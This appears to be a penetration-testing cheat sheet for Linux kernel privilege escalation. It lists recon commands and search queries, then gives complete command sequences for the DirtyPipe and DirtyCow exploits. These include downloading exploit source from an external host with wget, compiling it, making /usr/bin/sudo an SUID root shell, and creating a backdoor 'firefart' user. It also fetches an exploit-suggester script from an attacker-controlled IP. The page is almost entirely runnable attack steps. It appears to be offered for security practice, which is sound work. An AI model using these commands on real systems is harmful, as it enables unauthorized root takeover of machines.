Kernel Exploits

reference 17 commands

Last resort · can crash the system. Always try other vectors first.

Step 1: Identify kernel version

uname -a

cat /proc/version

cat /etc/os-release

Step 2: Search for exploits

searchsploit linux kernel <VERSION>

searchsploit ubuntu <VERSION>

Step 3: Google

"Linux kernel X.X.X privilege escalation"

"Ubuntu 18.04 local privilege escalation CVE"

site:exploit-db.com linux kernel 4.4

Example: DirtyPipe (CVE-2022-0847) · Linux kernel 5.8-5.16.11

Affects: most distros with kernel in that range

uname -r    # Check version: 5.8 - 5.16.11

Exploit:

wget https://haxx.in/files/dirtypipez.c -O /tmp/dirtypipez.c

gcc /tmp/dirtypipez.c -o /tmp/dirtypipe

/tmp/dirtypipe /usr/bin/sudo    # Makes /usr/bin/sudo an SUID shell

/usr/bin/sudo    # Root shell

Example: DirtyCow (CVE-2016-5195) · Linux < 4.8.3 (old boxes)

searchsploit dirty cow

searchsploit -m 40839    # Copy to current dir

gcc -pthread 40839.c -o dirty -lcrypt

./dirty <new-password>

su firefart    # Login with new password

Linux Exploit Suggester 2

wget http://<YOUR-IP>/les2.pl -O /tmp/les2.pl

perl /tmp/les2.pl